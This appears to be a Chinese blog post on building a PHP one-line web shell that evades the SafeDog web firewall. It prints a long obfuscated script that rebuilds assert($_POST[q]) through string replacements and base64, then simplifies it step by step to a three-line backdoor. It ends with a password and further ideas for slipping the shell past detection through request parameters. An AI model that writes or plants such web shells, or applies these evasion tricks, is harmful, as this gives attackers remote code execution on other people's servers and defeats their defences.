过新版狗php一句话,2016最新php过狗一句话思路

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图20160904201443.png (147.72 KB, 下载次数: 82)

2016-9-12 20:53 上传

首先我们说说php,需要用到三个函数

//$b = str_replace(‘aa’,’a’,$a);//1.被替换内容 2.用作替换内容 3.替换的内容

//base64_encode();//加密

//base64_decode();//解密

$o= ‘YXNzZXJ01’;

$q = str_replace(‘YXNzZXJ01′,’YXNzZXJ0’,$o);

$a = ‘Y11qmq1qE1=q11’;

$a1 = str_ireplace(‘q’,”,$a);

$a2 = str_ireplace(‘1’,”,$a1);

$b = ‘aNaFaa9qqqaka’;

$b1 = str_ireplace(‘a’,”,$b);

$za = “fg”;

$zb = str_ireplace(‘g’,’s’,$za)

$zc = str_ireplace(‘s’,’e6′,$zb)

$zd = str_ireplace(‘f’,’s’,$zc)

$se6 = $zd

$e = base64_encode(’emRn’);

$e1 = str_ireplace(‘Sbg=’,’5′,$e);

$e2 = ‘t’;

$e3 = base64_encode(‘$e2’);

$jg = $a1.$se6.$b1.$e3;

$qa = ’11m1E1=11′;

$jg1 = str_ireplace($qa,’q’,$jg);

$jg2 = base64_encode($e1);

$jg3 = $jg1.$jg2;

$jg4 = ‘NF9qqqkJGUyWlcx’;

$jg5 = str_ireplace($jg4,$e2,$jg3);

$jg6 = ‘co2de’;

$jg7 = str_ireplace(‘NT’,$jg6,$jg5);

$jg8 = str_ireplace(‘qs’,’as’,$jg7);

$jg9 = str_ireplace(‘tco2′,’_tco’,$jg8);

$jg10 = str_ireplace(‘0=’,”,$jg9);

$jg11 = base64_encode($jg10);

$jg12 = str_ireplace(‘ZTZfdGNvZGU=’,’ZTY0X2RlY29k’,$jg11);

$jg13 = str_ireplace(‘WWFzZT’,’YmFzZT’,$jg12);

$jg14 = ‘e’;

$jg15 = base64_decode($jg13);

$jg16 = $jg15.$jg14;

$z = $jg16($q);

$z($_POST[q]);

?>

但是这个可以过狗,只是太长了,所以后半夜主要就是优化代码。优化代码。

以上虽然很多,但主要思路就是把不过狗的一句话<?php assert($_POST[“q”]);?> 把assert($_POST[“q”]);?>给base64加密然后插入随便字符,然后用str_replace()函数替换,绕来绕去还是替换成assert($_POST[“q”]);?> 的base64加密,然后在解密,就可以。

详细过程不分析了,烧脑。这里主要讲,如何快速的编写过狗一句话。

这里主要关注最后两行↓

$z = $jg16($q);

$z($_POST[q]);

我们的一句话最终执行的效果肯定是:<?php assert($_POST[“q”]);?>

那么这里$z肯定就是assert,我们echo一下$z试试

如下图

8f3ff2fbfdd7c7c8339951a6542705fa.gif

1.png (263.16 KB, 下载次数: 81)

2016-9-12 20:52 上传

无视报错信息,这个是我才搭建的集成环境,没配置好。

可以看到上面echo出了assert

那我们如果直接把$z替换成assert来执行,看看结果会怎么样?

如下图

8f3ff2fbfdd7c7c8339951a6542705fa.gif

2.png (188.65 KB, 下载次数: 87)

2016-9-12 20:52 上传

把上面的代码多行注释掉,直接替换是被杀的。

$z = $jg16($q);

$z($_POST[q]);

那我们尝试着把$jg16变量替换成明文试试,看看马到底杀的是什么地方。

先echo一下看看是什么内容,然后替换成明文。

如下图

8f3ff2fbfdd7c7c8339951a6542705fa.gif

3.png (214.77 KB, 下载次数: 86)

2016-9-12 20:52 上传

那我们就可以知道,

$z = $jg16($q);

$z($_POST[q]);

变量jg16传递过来以后变成了

$z = base64_decode($q);

$z($_POST[q]);

这个时候可以看出来,$_POST[q]是由$z来执行的,$z=assert

也就是说

$z = base64_decode($q); 实际上是assert = base64_decode($q);

那么basw64解密的这个$q一定是assert的base64加密。

所以我们继续,

$z = $jg16($q);

$z($_POST[q]);

替换成

$z = base64_decode($q);

$z($_POST[q]);

看看会不会被杀。

如下图

8f3ff2fbfdd7c7c8339951a6542705fa.gif

4.png (264.83 KB, 下载次数: 82)

2016-9-12 20:53 上传

那我们现在知道了,base解密这个函数是被杀的,那我们这样,变量保留。

尝试用

$z = $jg16($q的明文);

$z($_POST[q]);

这样的话

base解密函数还是加密的,安全狗看不到。这样尝试一下,我们知道$q是assert的64加密,

我们替换一下然后看看结果

$z = $jg16(assert);

$z($_POST[q]);

如下

8f3ff2fbfdd7c7c8339951a6542705fa.gif

5.png (300.25 KB, 下载次数: 72)

2016-9-12 20:53 上传

现在最后5行代码就是这样了

$jg14 = ‘e’;

$jg15 = base64_decode($jg13);

$jg16 = $jg15.$jg14;

$z = $jg16(YXNzZXJ0);

$z($_POST[q]);

我们尝试把$jg16替换成明文,由倒数第一行可知,$=assert 所以倒数第二行代码就是assert=$jg16(YXNzZXJ0);

而前面我们知道YXNzZXJ0是assert函数的base64加密,所以从YXNzZXJ0到assert有个base64解密的过程,这个过程就是变量$jg16。所以变量$jg16=base64_decode

我们把$jg16直接替换成base64_decode 不明白的echo一下也可以,我们直接替换。

为止一句话为

$jg16 = base64_decode;

$z = $jg16(YXNzZXJ0);

$z($_POST[q]);

如果成功的话,那前面所有的代码都可以删除了。

如下图

8f3ff2fbfdd7c7c8339951a6542705fa.gif

7W_$%UH@(973AFJ%TCMN(XJ.png (268.33 KB, 下载次数: 73)

2016-9-13 09:42 上传

最终2016过狗一句话为:

密码:w3bsafe

-------------------------------------------------------------------

其实说白了,一句话永远不可能杀完,因为$_POST是个正常的提交方式,不可能被杀。然后其他assert或者eval一般也不会被杀,因为很多程序员要用到。狗只是针对特征杀,比如某个一句话用的人多了就会被杀。

-------------------------------------------------------------------

后续思路:

如果这个在被杀,还有很多方法过。最简单的就是用传参的方式,安全狗不好检测的。

如果传参也被杀,那我传参只传一个字母 这样肯定不可能被杀,因为几乎所有网站都需要传递id参数,然后把id参数替换成assert或者eval的base64加密。 这是最简单,最有效,最难防御的办法。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值